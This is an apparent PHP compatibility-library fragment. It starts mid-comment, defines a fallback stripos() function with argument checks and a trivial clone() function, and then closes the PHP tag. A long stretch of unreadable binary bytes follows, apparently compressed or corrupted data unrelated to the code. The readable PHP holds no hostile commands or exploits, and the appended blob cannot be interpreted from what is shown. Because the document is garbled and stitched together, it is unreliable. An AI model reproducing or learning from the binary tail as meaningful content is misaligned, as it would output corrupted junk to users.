4 $ * @since PHP 5 * @require PHP 4.0.0 (user_error) */ if (!function_exists('stripos')) { function stripos($haystack, $needle, $offset = null) { if (!is_scalar($haystack)) { user_error('stripos() expects parameter 1 to be string, ' . gettype($haystack) . ' given', E_USER_WARNING); return false; } if (!is_scalar($needle)) { user_error('stripos() needle is not a string or an integer.', E_USER_WARNING); return false; } if (!is_int($offset) && !is_bool($offset) && !is_null($offset)) { user_error('stripos() expects parameter 3 to be long, ' . gettype($offset) . ' given', E_USER_WARNING); return false; } // Manipulate the string if there is an offset $fix = 0; if (!is_null($offset)) { if ($offset > 0) { $haystack = substr($haystack, $offset, strlen($haystack) - $offset); $fix = $offset; } } $segments = explode(strtolower($needle), strtolower($haystack), 2); // Check there was a match if (count($segments) === 1) { return false; } $position = strlen($segments[0]) + $fix; return $position; } } /** * Ported PHP5 function to PHP4 for forward compatibility */ function clone($object) { return $object; } ?>x=r۸vS3k-oS3$8.9Km hS/V4S!1[Itv ERͶD$эnt7h\O>v{gY54¼>ox9ۍN~=?헋BӇ Ut[B޾%O2!>'L]jDXקiuZr^1/c%LaV?S/8+t:]3jo.;G }>&TcR1;l}g5^ȼL+K#ሑKׯ^|шF$ѳDl};HQH~DHOCc wf]%G1F>r>v)+x R=٤O%׿]G _o^.1]8ul(Х^Q8{uf@3!>a>~Y#%b 1sz\*/}; /9V30 gzI[A1yCġrH/yN)oR=|X7};HG9`&bvR"@.Zx9-bA7 lOwm>rV3c> i?B G!98$a4#ȗ CiF~4 gUA/.TfW(tus<}?"PJ; `ҵPLީx@=Ө x A ):Ip݉]U&r BǓc͍U5ĻǻLQ,a? GG1@D?2g)hDFÙv!\I< Rjp`X!!O\@^h Hw c v]?߉dNq{&#s:v8::5҃fg4uAT ks e3l`B#4/>秶@J9 m 3 eY-$vS[e]S hh-ۑl8U "WSss+}PstzAα?)s"Gxp4 yN`u}d Z󖓿qBthcaǩo|46`CuFٰ3Ъg i` =\ląĘG9ڟ.-Q抏׃mm}C8* p=:*:qE#G'< uV 0xpJǿ]f"58FIb M:^ύW:pU r!IJP^h3(XDCeI_^ȱh!rQ.Yˁ=Y7ğ%%G#Ӆ!W`qm#I،y{Yz73*ξB:?L \vm@(mfސ|^O GؿFÿmLO/gJx}` qS}x2|bp%|d=[CdaVLqy+~triJFs da ZT21D] GbB!bZZ >c!=TǪr* q~@PBMbD=oFomXD~*lU΋GUeM|\Sf {b6CKѷҢoyi7;)֥]1 ὬcL2_ȼy3%ziePo9LXtxՐT8ֲn92wcv~bЅw 8 Kd ":.lDLP՗ۛ`,ɂܝ#mut|d)Θu˭+\_:2Tv&681c XT?}el*fǥ:C+u=xT9pokQt~?\v_~{v=o8ZJ;Sk(Rl k:)%Eٺ͸<?KU_#-sxj0p am N™ƿ|Bs3 [G1={2'('>t<5;]v UfuZb9dA+.͵ %< =*`Z+hwqHyQ%^EIj1Z!O L3Vִ9Zb.SD Y@vbdJc] XEvsnE1x* | e, r kK>3mLQo${( Sy>Iț~3 a1MCj`y_ $q,X,X3sɡyd_vŹ1HkЖLP /&z6_uOP|}%ȟrٍ:,\@7Az;l25h&mX-ګjZc&fo!/|M1z|g[o#u2Įj@@xPzQʒI%}/+Y'VΪ`ؐ3A_r AH[:Bӭy(epTK%*Te ڼP7VVEyD-V}RG[z˜e[\Rq.NkAαJ|}@g96N0j-WO0ܑ?S?A"=Ȭv^Wݞ x !!JI}iT~䂇;\K?P`3a':|0NYORHP@9X5!Kwi_:Ӌ?*`نlzhW9hV&dcfXzok݉Ӈ:#f^nMbYAz\[0?a0q?[apίb0``ea%5F rFW~(mQn\+ uaf$P77?G.Ĵ{kA%mL Mr|ڥh͊8ɦ SÒuk0Zl8h ie`w 1:]URTR(?`]x~Y롰Ga5MTna-w!=qgT,YsXSQ Ӵm)FɎNYμUUkdžK5jtJja͒T52x-Ŕb#(Pռ>IF<i+Ly|cR<G +i\"M#V^׈XKý>Mv98p@* OGߊ)n R)b={BuⰞQ;)"J-"GlzoNK#t2^H.MŶf" #2+RB)$eQ9R3⎧)Ibck"! w"lZŅi(?Q;$ͩ8g '&3܊^,8a "Gcmxa! He0|(.GHYQDcCq(t#QV(FA}u9[8iD(45AE$hV'/ylPVM0=GdƨU]pe"9Gyw|+ BdIcR:}<`L\-ȨSF8%=%B!]K-ΨWtվu0'NG0np0c!;yة/MOxKγn+όL)Yux6-zW,ZTr39˱&4MlQ9؈}%%#W+}|ZVZQ;^<]mB*,{XK U.US|i&@Kf=:b+`vt\jw-ǎ0@{$d쮾.X$RF 1fn {_d3]yi?낝*yɦ0<|58Ldz xd7iWBk?Fh^ȬD_VZmUpSVD`?amzHA^TaZzYWh_|.g:_`ETcn#NkU/Y͛!6H7wՁP,VPTW*#o8jXF݊#Y\^